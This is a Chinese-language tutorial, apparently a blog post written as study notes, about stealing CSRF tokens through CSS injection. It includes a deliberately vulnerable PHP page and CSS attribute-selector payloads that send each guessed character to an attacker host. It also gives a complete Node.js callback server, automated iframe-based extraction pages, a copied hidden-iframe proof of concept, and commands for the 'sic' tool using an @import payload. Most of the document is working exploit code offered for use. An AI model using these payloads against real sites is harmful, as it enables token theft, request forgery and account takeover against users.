关于css注入是头一次看到,这里参考各师傅学习一下。
窃取input标签中的token
假设我们有一个php页面
<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
?>
<!doctype html><meta charset=utf-8>
<input type=hidden value=<?=$token1 ?>>
<script>
var TOKEN = "<?=$token2 ?>";
</script>
<style>
<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>
页面中有两个token,一个在<input>
标签中,一个在 script>
内。然后我们需要利用css参数构造xss来窃取这两个token。
CSS选择器使我们能够准确选择HTML元素。
/*选择value值为abc的input标签*/
input[value="abc"] { }
/*选择value值以a开头的input标签 */
input[value^="a"] { }
因此我们可以利用此来为属性的第一个字符的所有可能值准备不同的样式
input[value^="0"] {
background: url(http://serwer-napastnika/0);
}
input[value^="1"] {
background: url(http://serwer-napastnika/1);
}
input[value^="2"] {
background: url(http://serwer-napastnika/2);
}
...
input[value^="e"] {
background: url(http://serwer-napastnika/e);
}
input[value^="f"] {
background: url(http://serwer-napastnika/f);
}
如下:
若第一位我们猜对为f,便会去访问改url
同理我们可以依次提取出所有的token值。
然后我们需要利用javascript将上述过程自动化:
HTML页面将使用js把CSS提取到的内容请求到攻击者的服务器上
攻击者的服务器会接受带有CSS提取的内容并进行反向通信,告诉客户端js如何提取内容
客户端js与攻击者的服务器之间的通信将通过cookie。例如如果攻击者的服务器收到token的前两个字符为’49’,则设置 cookie=49 ,客户端js将定期检查cookie是否已设置,如果已设置,它将使用其值生成新的CSS来提取下一个标记字符。
假设服务器后端使用nodejs实现,创建package.json
并执行npm install
{
"name": "css-attack-1",
"version": "1.0.0",
"description": "",
"main": "index.js",
"dependencies": {
"express": "^4.15.5",
"js-cookie": "^2.1.4"
},
"devDependencies": {},
"author": "",
"license": "ISC"
}
然后创建index.js,用来启动个nodejs服务
const express = require('express');
const app = express();
app.disable('etag');
const PORT = 3000;
app.get('/token/:token',(req,res) => {
const token = req.params;
//var {a} = {a:1, b:2}; => var obj = {a:1, b:2};var a = obj.a;
console.log(token);
res.cookie('token',token);
res.send('')
});
app.get('/cookie.js',(req,res) => {
res.sendFile('js.cookie.js',{
root: './node_modules/js-cookie/src/'
});
});
app.get('/index.html',(req,res) => {
res.sendFile('index.html',{
root: '.'
});
});
app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
});
然后我们需要构造一个HTML文件来窃取token的所有下一个字符。现在我们已知:
我们要从0-9a-f范围内提取由32个字符组成的令牌,
我们有一个存在CSS注入的页面,我们可以通过HTML的<iframe>
标签来引用此页面。
攻击流程如下:
如果我们目前设法提取的令牌长度小于预期的长度,则我们执行以下操作
删除包含所有先前提取数据的cookie
创建一个iframe标签,并引用一个易受攻击的页面,该页面具有相应的css代码,允许我们提取另一个标记字符。
我们一直等到攻击者服务器的回调为我们设置含有token的cookie
设置cookie后,我们将其设置为当前的已知令牌值,并返回到步骤1
代码如下:
index.html
<!doctype html><meta charset=utf-8>
<script src="http://127.0.0.1:3000/cookie.js"></script>
<big id=token></big><br>
<iframe id=iframe></iframe>
<script>
(async function() {
const EXPECTED_TOKEN_LENGTH = 32;
const ALPHABET = Array.from("0123456789abcdef");
const iframe = document.getElementById('iframe');
let extractedToken = 'f9'; //动态修改token位数,一位一位添加,初始为空
while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {
clearTokenCookie();
createIframeWithCss();
extractedToken = await getTokenFromCookie();
document.getElementById('token').textContent = extractedToken;
}
function getTokenFromCookie() {
return new Promise(resolve => {
const interval = setInterval(function() {
const token = Cookies.get('token');
if (token) {
clearInterval(interval);
resolve(token);
}
}, 50);
});
}
function clearTokenCookie() {
Cookies.remove('token');
}
function generateCSS() {
let css = '';
for (let char of ALPHABET) {
css += `input[value^="${extractedToken}${char}"] {
background: url(http://127.0.0.1:3000/token/${extractedToken}${char})
}`;
}
return css;
}
function createIframeWithCss() {
iframe.src = 'http://127.0.0.1/css/index.php?css=' + encodeURIComponent(generateCSS());
}
})();
</script>
然后利用上述方法外带出上面php页面的token值。将其保存在index.js同目录下,并且命名为index.html。
访问127.0.0.1:3000/index.html
参见smi1e师傅:
通过css注入窃取html种的数据
一般CSRF Token的type都为hidden,会有不加载background-image
属性的情况(本地测试是最新版FIrefox不加载,Chrome加载)
解决该问题的办法是使用~兄弟选择器(选择和其后具有相同父元素的元素),加载相邻属性的background-image
,达到将数据带出的目的。
poc:
input[name=flag][value^="b"] ~ * {
background-image: url("http://x.x.x.x/b");
}
还有一种方法
poc:
https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e
通过不断创建iframe,动态猜解每一位csrf token,原理和上述方法大致一样。
当然这需要目标站点x-frame-options未被禁用
<html>
<style>
#current {
font-size: 32px;
color: red;
}
#time_to_next {
font-size: 24px;
color: black;
}
#frames {
visibility: hidden;
}
</style>
<body>
<div id="current"></div>
<div id="time_to_next"></div>
<div id="frames"></div>
</body>
<script>
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");
known = "";
target_time = new Date();
timer = 0;
function test_char(known, chars) {
// Remove all the frames
document.getElementById("frames").innerHTML = "";
// Append the chars with the known chars
css = build_css(chars.map(v => known + v));
// Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...
frame = document.createElement("iframe");
frame.src = "http://192.168.0.5/css/?css=" + css;
frame.style="visibility: hidden;"; //gotta be sneaky sneaky like
document.getElementById("frames").appendChild(frame);
// timer stuff because we want to be l33t
clearInterval(timer);
target_time = new Date();
target_time.setSeconds(target_time.getSeconds() + 3);
timer = setInterval(function() {
var current_time = new Date();
diff = target_time - current_time;
document.getElementById("time_to_next").innerHTML = "Time to next reload: " + diff / 1000;
}, 50);
// in 3 seconds, after the iframe loads, check to see if we got a response yet
setTimeout(function() {
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", known_listener);
oReq.open("GET", "http://192.168.0.5/css/?css=");
oReq.send();
}, 3000);
}
function build_css(values) {
css_payload = "";
for(var value in values) {
css_payload += "input[value^="
+ values[value]
+ "]~*{background-image:url(http://192.168.0.5:8012/"
+ values[value]
+ ")%3B}"; //can't use an actual semicolon because that has a meaning in a url
}
return css_payload;
}
function known_listener () {
document.getElementById("current").innerHTML = "Current Token: " + this.responseText;
if(known != this.responseText) {
known = this.responseText;
test_char(known, chars);
} else {
known = this.responseText;
alert("CSRF token is: " + known);
}
}
test_char("", chars); //若监听到第一位为f,需依次传入第一位参数中。
</script>
</html>
依然使用上面那个例子,打开html页面,监听8012端口
然后补充猜解出来的依次猜解,如下
…
可以启个http服务,方便动态猜解。
如果iframe被禁用了,还有办法注入吗?
提供了一个工具,使得可以通过import CSS来获得token:https://github.com/d0nutptr/sic
安装好环境, 起一个窃取CSS模板文件:
template
input[name=flag][value^="{{:token:}}"] ~ * { background-image: url("{{:callback:}}"); }
运行服务:
./sic -p 3000 --ph "http://vps:3000" --ch "http://vps:3001" -t template
attack:
http://192.168.0.5/css/?css=@import%20url(http://vps:3000/staging?len=32);